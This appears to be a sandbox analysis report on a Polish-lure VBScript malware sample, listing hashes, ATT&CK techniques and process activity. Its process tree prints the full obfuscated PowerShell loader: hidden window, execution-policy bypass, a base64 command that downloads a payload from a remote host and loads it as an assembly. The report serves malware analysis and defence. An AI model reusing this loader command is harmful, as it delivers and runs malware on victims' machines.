54f0212fea899c40a100770be1b8411975f7422cdbebc4091328bfde4d58f7d6

General

Target

Nowe zamówienie Roltop.vbs
Size

493KB
MD5

4f593177d0dc7f47a74a20f8d75dacfc
SHA1

ec4b127fabf32ce159ae4a093ea30e6f3a85d085
SHA256

c2110d453b7db8bcde1826f213136da46caec8dba656ccad721ad7cb066197f8
SHA512

1622501964371fe40dc192e628ec15f5c231e1c1870561eaca922737f750a2513bbcb71034a3fd15ae94fc34e0a9265cea95679ed16b4010cfeeb710a2a44a64
SSDEEP

12288:Q03oUsZ2HiJzKqvXsSn/oT4sLW8iy/bTwlnuMRQV8AEoEygzMOviB+HJD5ZA:QGic5x47Y

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe
448	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5020	powershell.exe
5020	powershell.exe
448	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 5020	3524	WScript.exe	84
PID 3524 wrote to memory of 5020	3524	WScript.exe	84
PID 5020 wrote to memory of 448	5020	powershell.exe	86
PID 5020 wrote to memory of 448	5020	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nowe zamówienie Roltop.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnSFpUJysndXJsID0gdHBhaCcrJ3R0cCcrJ3M6JysnLy9yYXcuZycrJ2l0aHVidScrJ3MnKydlcmNvJysnbnQnKydlbnQuJysnY29tJysnL05vRCcrJ2V0ZWN0JysnTycrJ24vTm8nKydEZScrJ3RlY3RPbi9yZWZzL2hlYWRzL21haW4vRGV0YWhOb3RoLScrJ1YudHh0dHAnKydhJysnOyBIJysnWicrJ1RiYScrJ3NlJysnNicrJzRDb24nKyd0ZW50ID0nKycgKE5ldy1PYicrJ2plY3QgJysnU3lzdGUnKydtJysnLk5ldC4nKydXZScrJ2JDbGllbnQnKycpLkRvd25sb2FkU3RyaW5nJysnKCcrJ0haVHVyJysnbCk7IEhaVGJpbmFyeUMnKydvbnRlbnQnKycgJysnPSAnKydbU3lzdGVtLicrJ0NvbnYnKydlJysncnQnKyddOicrJzpGcm9tJysnQicrJ2FzZTY0U3QnKydyaW4nKydnKEgnKydaVGJhc2U2JysnNENvbicrJ3RlbnQnKycpOyAnKydIWlRhc3NlbWJseSA9ICcrJ1snKydSZScrJ2YnKydsZWN0JysnaW9uLicrJ0FzJysnc2UnKydtYicrJ2x5XScrJzo6TG9hZChIWlRiJysnaW5hcnlDb24nKyd0ZScrJ24nKyd0KTsgW2RubGliLklPLkhvbWVdOjpWQUkoJysnNGRNMC9FJysnVDNQJysnTS9kL2VlLmV0JysncycrJ2FwLy8nKyc6cycrJ3B0dGg0JysnZE0sJysnIDRkTScrJ2Rlc2F0JysnaScrJ3ZhJysnZG80ZE0sIDRkTWRlcycrJ2F0aXZhJysnZG80JysnZE0nKycsJysnIDRkTWRlc2F0aXYnKydhJysnZG80JysnZE0nKycsIDRkTUFkZEknKyduJysnUCcrJ3JvY2UnKydzczMyNGRofficiosidadeCcrJyAnKyc0ZE0nKyc0JysnZE0nKycsNGRNJysnNGQnKydNKScpIC1yRVBMYUNlICdIWlQnLFtDSGFSXTM2ICAtckVQTGFDZSAnNGRNJyxbQ0hhUl0zNCAtY3JFUExhQ2UgJ3RwYScsW0NIYVJdMzkpfCAuICggJHBzSG9NRVsyMV0rJHBzaE9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
cd488961db34aaa8ef3178208699448e

SHA1
a32ca7998015f97e09c1245bed2791e9c0ec81f9

SHA256
59804d7599fb39235424f498e5fa4cd2434b2a924f37d60f842ea4a536e390ad

SHA512
59ab7742cb29fa66c86b3ebe63605de647b4e1d874523eb95dac2d4c8db88c65afb906315fe43ebe69bbe2b9087cf4ffea977605aac7d2eb39fbf698ee0c005e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xs5e34cs.z5a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5020-0-0x00007FFEE10D3000-0x00007FFEE10D5000-memory.dmp

Filesize
8KB

Download
memory/5020-10-0x000002B4FECA0000-0x000002B4FECC2000-memory.dmp

Filesize
136KB

Download
memory/5020-11-0x00007FFEE10D0000-0x00007FFEE1B91000-memory.dmp

Filesize
10.8MB

Download
memory/5020-12-0x00007FFEE10D0000-0x00007FFEE1B91000-memory.dmp

Filesize
10.8MB

Download
memory/5020-13-0x00007FFEE10D0000-0x00007FFEE1B91000-memory.dmp

Filesize
10.8MB

Download
memory/5020-27-0x00007FFEE10D0000-0x00007FFEE1B91000-memory.dmp

Filesize
10.8MB

Download

Analysis

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